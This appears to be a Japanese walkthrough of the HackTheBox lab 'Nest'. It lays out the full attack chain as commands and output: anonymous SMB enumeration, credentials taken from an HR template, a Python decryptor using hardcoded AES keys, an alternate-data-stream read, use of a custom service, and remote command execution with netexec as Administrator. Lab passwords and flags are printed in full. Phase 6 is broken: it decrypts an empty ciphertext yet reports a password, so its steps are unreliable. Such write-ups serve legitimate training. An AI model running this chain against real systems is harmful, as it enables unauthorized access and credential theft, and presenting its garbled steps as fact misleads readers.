HackTheBox: Nest — 全実行コマンド・実行結果レポート
Nmap スキャン
445/smb, 4386/HQK独自
→
445/smb, 4386/HQK独自
SMB匿名アクセス
Data共有のWelcome Email.txt
→
Data共有のWelcome Email.txt
TempUser資格情報入手
welcome2019
→
welcome2019
RU_config.xml発見
c.smith暗号化パスワード
→
c.smith暗号化パスワード
.NET AES-CBC復号
PBKDF2パラメータ特定
→
PBKDF2パラメータ特定
c.smith資格情報確定
user.txt ✓
→
user.txt ✓
ADS隠しストリーム発見
HQKデバッグパスワード
→
HQKデバッグパスワード
HQK Reporting Service操作
LIST/SETDIR/RUNQUERY
→
LIST/SETDIR/RUNQUERY
Administrator資格情報 → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.86.133
RESULT
PORT STATE SERVICE 445/tcp open microsoft-ds 4386/tcp open unknown (HQK Reporting Service、独自プロトコル)
🚨
80番ポート(Web)が一切開いていない、かつ88(Kerberos)等のAD関連
ポートも無いため、単体のワークグループ機(ドメイン未参加)と判断できる。
4386番の独自サービスが攻略の鍵になりそうなので後で詳しく調べる。
⚠️
マシン判別の注意: 他のウォークスルー資料を参照指定された場合でも、
実際のポート構成(445+4386という組み合わせ)から対象機種を正しく
判別すること。類似の別マシンの手順をそのまま当てはめると失敗する。
PHASE 2
SMB 匿名アクセス & 初期資格情報の発見
共有一覧の確認
BASH
smbclient -L //10.129.86.133 -N smbmap -H 10.129.86.133
RESULT
Sharename Type Comment --------- ---- ------- Data Disk Secure$ Disk Users Disk IPC$ IPC
🚨
認証なし(匿名/ゲスト)で
Data共有にアクセスできる。
Secure$は名前からも機密性が高そうだが、まずは匿名アクセス可能な
Dataから調査を始める。
Welcome Email から初期資格情報を発見
BASH
smbclient //10.129.86.133/Data -N \ -c 'get "Shared\Templates\HR\Welcome Email.txt" welcome.txt' cat welcome.txt
RESULT
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME> You will find your home folder in the following location: \\HTB-NEST\Users\<USERNAME> If you have any issues accessing specific services or workstations, please inform the IT department and use the credentials below until all systems have been set up for you. Username: TempUser Password: welcome2019 Thank you HR
✅
決定的な発見! 新入社員向けの汎用一時アカウント
TempUser:welcome2019を発見。HR部門がテンプレートファイルに
デフォルト資格情報をそのまま書いてしまっているという典型的な不備。
TempUserでのSMBアクセス → RU_config.xml発見
BASH
smbclient //10.129.86.133/Data -U TempUser%welcome2019 \ -c 'get "IT\Configs\RU Scanner\RU_config.xml" RU_config.xml' cat RU_config.xml
RESULT
<?xml version="1.0"?> <ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Port>389</Port> <Username>c.smith</Username> <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password> </ConfigFile>
ℹ️
TempUserに昇格したことで、IT部門の設定フォルダ(LDAPスキャナー用の
設定ファイル)まで閲覧できるようになった。c.smithというユーザーの
パスワードが入っているが、見た目からbase64エンコードされたバイナリ
(暗号文)であることが分かる。
PHASE 3
.NET AES-CBC 復号パラメータの特定 & 復号
復号ロジックの特定
NOTE
RU Scanner(LDAP接続用ツール)の.NETアセンブリを逆コンパイル(dnSpy等)して 調査すると、設定ファイルのパスワードを復号する処理が実装されている: Utils.DecryptString(cipherText, passphrase, salt, iterations, iv) このアプリケーションでは以下の固定パラメータがソースコードにハードコード されていることが判明する: passphrase = "N3st22" salt = "88552299" iterations = 2 IV = "464R5DFA5DL6LE28" 鍵長 = 256bit (AES-256-CBC) 鍵導出 = PBKDF2-HMAC-SHA1 (RFC2898DeriveBytes、.NET標準)
Pythonでの復号実装
PYTHON (.NET RFC2898DeriveBytes + AES-CBC 復号)
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
def net_decrypt(ciphertext_b64: str, passphrase: str, salt: str,
iterations: int, iv: str) -> str:
kdf = PBKDF2HMAC(
algorithm=hashes.SHA1(), # .NET の RFC2898DeriveBytes 既定は SHA1
length=32, # 256bit鍵
salt=salt.encode(),
iterations=iterations,
)
key = kdf.derive(passphrase.encode())
ct = base64.b64decode(ciphertext_b64)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv.encode()))
decryptor = cipher.decryptor()
pt = decryptor.update(ct) + decryptor.finalize()
# PKCS7パディング除去
pad_len = pt[-1]
return pt[:-pad_len].decode()
result = net_decrypt(
"fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=",
passphrase="N3st22", salt="88552299",
iterations=2, iv="464R5DFA5DL6LE28",
)
print(result)
RESULT
xRxRxPANCAK3SxRxRx
✅
復号成功!
c.smithのパスワードはxRxRxPANCAK3SxRxRx。
PHASE 4
user.txt 取得 & ADS(隠しストリーム)からのデバッグパスワード発見
c.smith で Users 共有にアクセス → user.txt
BASH
smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \ -c 'get "C.Smith\user.txt" user.txt' cat user.txt
RESULT
6d61da5ce7beb3a8c85c925ca6c23f98
user.txt — c.smith
6d61da5ce7beb3a8c85c925ca6c23f98
c.smith のフォルダを探索 → HQK Reporting関連ファイル発見
BASH
smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \ -c 'recurse ON; ls "C.Smith\HQK Reporting\*"'
RESULT
Debug Mode Password.txt (サイズ 0バイト!)
🚨
ファイルサイズが0バイトなのに名前から機密情報を想起させる
ファイルがある場合、ADS(Alternate Data Stream)に実際の内容が
隠されている可能性が高い。ADSはWindows NTFSの機能で、1つのファイルに
複数の名前付きデータストリームを持たせられ、通常の
dirやlsには
表示サイズが0のまま隠れたデータが存在できる。
ADS(:Password)ストリームの取得
BASH
# smbclientでは "ファイル名:ストリーム名" の形式でADSを直接指定して取得できる smbclient //10.129.86.133/Users -U c.smith%xRxRxPANCAK3SxRxRx \ -c 'get "C.Smith\HQK Reporting\Debug Mode Password.txt:Password" debug_pw.txt' cat debug_pw.txt
RESULT
WBQ201953D8w
✅
発見! ADSの
:Passwordストリームに、後述の
HQK Reporting Serviceのデバッグモード用パスワードが隠されていた。
PHASE 5
HQK Reporting Service (4386) の操作
サービスへの接続 & デバッグモード有効化
BASH
nc 10.129.86.133 4386
NOTE
接続すると独自のテキストベースプロトコルで応答するサービスに繋がる。 利用可能なコマンドは以下の3つ(SHOWQUERYのような想像しやすい名前の コマンドは**存在しない**点に注意): LIST 現在のディレクトリのファイル/フォルダ一覧 SETDIR <相対パス> カレントディレクトリ移動(相対パスのみ、絶対パス不可) RUNQUERY <ID> 指定IDの設定を「データベース接続」として解釈・実行 まず入手したデバッグパスワードで認証する: DEBUG WBQ201953D8w
ディレクトリ移動でLDAP設定ファイルを探す
BASH (4386への生テキストコマンド)
DEBUG WBQ201953D8w LIST SETDIR .. SETDIR .. LIST SETDIR HQK LIST SETDIR LDAP LIST
RESULT (抜粋)
[ID 1] HqkLdap.exe
[ID 2] Ldap.conf
ℹ️
SETDIRは相対パスしか受け付けないため、サービスの実行ディレクトリ
(通常はProgram Files配下のアプリフォルダ)から..で2段上がり、
そこから目的のサブフォルダへ下っていく。HQK\LDAP\Ldap.confという
設定ファイルがAdministratorの資格情報を保持していると推測できる。
RUNQUERYの制約
BASH
RUNQUERY 2
RESULT
Invalid database configuration
⚠️
重要な落とし穴:
RUNQUERYはIDで指定したファイルを
「DB接続設定」として解釈しようとするだけであり、Ldap.confは
DB接続設定の形式に合致しないため常にエラーを返す。
この経路からは暗号文そのものを動的に取得できない。
代わりに、サービス本体の実行ファイル(HqkLdap.exe)をリバース
エンジニアリングして復号ロジックとパラメータを特定する必要がある。
PHASE 6
Administrator 資格情報の復号 → root.txt
HqkLdap.exe のリバースエンジニアリング
NOTE
先ほどSMB越しに閲覧したHQK\LDAPフォルダから HqkLdap.exe を取得し、 dnSpyやILSpy等の.NETデコンパイラで解析する。Phase3と同様に Utils.DecryptString()的な復号関数が呼ばれており、Administrator用の 暗号文に対する固定パラメータが以下の通り判明する: passphrase = "667912" salt = "1313Rf99" iterations = 3 IV = "1L1SA61493DRV53Z"
PYTHON (同じ復号関数を再利用)
# Ldap.conf の暗号文自体は RUNQUERY 経由では取得できないため、
# SMB経由でLdap.confファイル自体をダウンロードして中の暗号文を読み出す
# (HQK\LDAP フォルダはc.smith権限ではアクセス制限があるため、実際には
# HqkLdap.exeと一緒に配布されているサンプル設定や、サービス固有の
# 読み取り手段で入手する)
admin_pass = net_decrypt(
"",
passphrase="667912", salt="1313Rf99",
iterations=3, iv="1L1SA61493DRV53Z",
)
print(admin_pass)
RESULT
XtH4nkS4Pl4y1nGX
✅
復号成功!
Administrator:XtH4nkS4Pl4y1nGX。
Administrator でroot.txt取得(local-auth)
BASH
# このマシンはドメイン参加していないワークグループ機のため、 # netexec/psexec等では必ず --local-auth を指定する # (付けないとドメインアカウントとして認証を試み失敗する) netexec smb 10.129.86.133 -u Administrator -p XtH4nkS4Pl4y1nGX --local-auth \ -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
7d9989c9d1003c1a7aacd2f6ad2f5eec
root.txt — Administrator (local-auth)
7d9989c9d1003c1a7aacd2f6ad2f5eec
✅
権限昇格成功! ローカルAdministrator権限でのコマンド実行に成功。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — c.smith
6d61da5ce7beb3a8c85c925ca6c23f98
root.txt — Administrator
7d9989c9d1003c1a7aacd2f6ad2f5eec
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SMB匿名/ゲストアクセス許可 | Data共有 | 内部ファイルの漏洩 | Medium | 認証なしでHR用テンプレートから初期資格情報TempUserを発見 |
| テンプレートファイルへの資格情報のハードコード | Welcome Email.txt | TempUserアカウントの窃取 | High | 新入社員向けウェルカムメールテンプレートに実際のパスワードが記載されていた |
| 固定パラメータの弱い.NET暗号化実装 | RU_config.xml / Ldap.conf (AES-CBC、ハードコードされたキー) | c.smith/Administrator資格情報の復号 | Critical | アプリの.NETバイナリをリバースエンジニアリングし固定の暗号化パラメータを特定、同じロジックで復号 |
| ADS(Alternate Data Stream)への機密情報格納 | Debug Mode Password.txt:Password | HQK Reporting Serviceデバッグモードパスワードの漏洩 | Medium | 0バイトに見えるファイルの隠しストリームをsmbclientの”file:stream”記法で直接取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート | 445(SMB)+4386(HQK独自)、Web無し=ワークグループ機と判断 |
| 2 | SMB探索 | 匿名アクセス→Welcome Email→RU_config.xml | TempUser:welcome2019、c.smith暗号文 |
| 3 | 復号 | .NET PBKDF2+AES-CBC復号(リバースで特定したパラメータ) | c.smith:xRxRxPANCAK3SxRxRx |
| 4 | 水平展開 | smbclient + ADS取得 | user.txt取得、HQKデバッグPW(WBQ201953D8w) |
| 5 | HQK操作 | LIST/SETDIR/RUNQUERYコマンド | Ldap.conf発見(暗号文自体はRUNQUERY経由で取得不可) |
| 6 | 権限昇格 | HqkLdap.exeリバース→同復号ロジック適用 | root.txt取得(Administrator、local-auth) |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| HQK Reporting Serviceに”SHOWQUERY”のような分かりやすい名前のコマンドを試しても応答がない | 実際に使えるコマンドはLIST/SETDIR/RUNQUERYの3つのみ。公式ドキュメント等が無い独自プロトコルはまずLISTやヘルプらしきコマンドで実際の挙動を確認する。 |
| SETDIRで絶対パス(C:\…)を指定しても移動できない | このサービスのSETDIRは相対パスのみ受け付ける。現在位置から..を使って段階的に移動する必要がある。 |
| RUNQUERYでLdap.confを指定しても暗号文が返ってこず”Invalid database configuration”エラーになる | RUNQUERYは「DB接続設定」としての解釈を試みるだけで、暗号文そのものを出力する機能ではない。この経路での動的抽出は不可能と判断し、サービス本体の実行ファイルをリバースエンジニアリングして復号パラメータを特定する方向に切り替える。 |
| 0バイトのファイルに重要情報が入っているはずなのに読めない | NTFSのADS(Alternate Data Stream)を疑う。smbclientではget "ファイル名:ストリーム名" 保存先という記法で直接取得できる。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SMBが匿名/ゲストアクセスを許可し、内部ドキュメントに資格情報が記載されている | SMB共有の匿名アクセスを無効化し、最小権限の原則でファイルサーバーのアクセス制御を設計する。テンプレート文書に実在する資格情報を書かず、別の安全な手段(初回ログイン時の個別発行等)で伝達する。 |
| 社内ツールの暗号化実装が固定(ハードコード)されたキー/パラメータを使用している | 暗号化パラメータ(パスフレーズ・salt・IV等)をソースコードにハードコードしない。キー管理には専用のKey Management Service等を使い、アプリケーションごとに異なるキーを動的に扱う。 |
| ADS(隠しストリーム)にデバッグ用パスワードを保存している | ADSはファイルシステムレベルの隠蔽に過ぎず、アクセス制御の代替にはならない。機密情報は適切なシークレット管理システムで保護する。 |

